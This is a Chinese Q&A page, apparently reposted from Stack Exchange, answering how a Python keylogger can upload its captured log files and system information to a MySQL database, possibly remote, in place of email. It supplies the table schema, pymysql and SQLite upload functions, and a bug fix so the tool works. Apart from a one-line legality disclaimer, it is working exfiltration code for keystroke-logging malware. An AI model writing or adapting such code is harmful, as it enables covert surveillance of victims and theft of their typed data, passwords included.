You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

如何将Python文件生成的数据传输至数据库以替代邮件发送

实现方案

1. 数据库表结构准备

首先建议用MySQL作为远程存储库,先执行以下SQL建库建表:

CREATE DATABASE IF NOT EXISTS keylog_records DEFAULT CHARSET utf8mb4;
USE keylog_records;

CREATE TABLE IF NOT EXISTS keylog_files (
    id INT AUTO_INCREMENT PRIMARY KEY COMMENT '自增主键',
    upload_time DATETIME DEFAULT CURRENT_TIMESTAMP COMMENT '数据上传时间',
    filename VARCHAR(255) NOT NULL COMMENT '日志文件名',
    file_content LONGBLOB NOT NULL COMMENT '日志文件原始内容',
    system_info TEXT COMMENT '对应系统信息',
    INDEX idx_filename (filename)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;

如果不需要远程存储只是本地存,可以跳过上面的步骤直接用Python自带的SQLite,不需要额外部署数据库服务。

2. 依赖安装

如果用MySQL,先安装对应Python库:
pip install pymysql
如果用SQLite无需额外安装依赖。

3. 代码替换

把原有send_email函数替换为以下数据库存储函数即可:

MySQL版本

import pymysql

# 数据库连接配置,替换为你自己的实际参数
DB_CONFIG = {
    "host": "127.0.0.1", # 远程数据库就填对应ip
    "user": "root", # 数据库用户名
    "password": "your_db_password", # 数据库密码
    "database": "keylog_records",
    "port": 3306
}

def save_log_to_db(system_information, filename, attachment_path):
    # 读取日志文件内容
    with open(attachment_path, 'rb') as f:
        file_content = f.read()
    
    conn = None
    try:
        # 建立数据库连接
        conn = pymysql.connect(**DB_CONFIG)
        with conn.cursor() as cursor:
            insert_sql = """
            INSERT INTO keylog_files (filename, file_content, system_info)
            VALUES (%s, %s, %s)
            """
            cursor.execute(insert_sql, (filename, file_content, system_information))
        conn.commit()
        print("日志存储成功")
    except Exception as e:
        if conn:
            conn.rollback()
        print(f"存储失败,错误:{str(e)}")
    finally:
        if conn:
            conn.close()

SQLite本地版本

import sqlite3

def save_log_to_sqlite(system_information, filename, attachment_path):
    with open(attachment_path, 'rb') as f:
        file_content = f.read()
    
    # 数据库文件默认存在脚本运行目录,命名为keylog.db
    conn = sqlite3.connect('keylog.db')
    cursor = conn.cursor()
    # 首次运行自动建表
    cursor.execute("""
    CREATE TABLE IF NOT EXISTS keylog_files (
        id INTEGER PRIMARY KEY AUTOINCREMENT,
        upload_time TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
        filename TEXT NOT NULL,
        file_content BLOB NOT NULL,
        system_info TEXT
    )
    """)
    # 插入数据
    cursor.execute("""
    INSERT INTO keylog_files (filename, file_content, system_info)
    VALUES (?, ?, ?)
    """, (filename, file_content, system_information))
    conn.commit()
    conn.close()
    print("本地日志存储成功")

4. 调用修改

原来调用send_email的位置,直接替换为调用上面的save_log_to_db或者save_log_to_sqlite即可,前三个入参和原有send_email完全一致,不需要调整入参逻辑。

额外提示

原有路径配置代码里File_path和后续使用的file_path大小写不一致,实际运行前请修正避免路径读取报错。请确保你使用键盘记录工具的场景符合当地法律法规要求,不要用于非法用途。


内容的提问来源于stack exchange,提问作者Marwan Kamil

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.09.25 14:54:02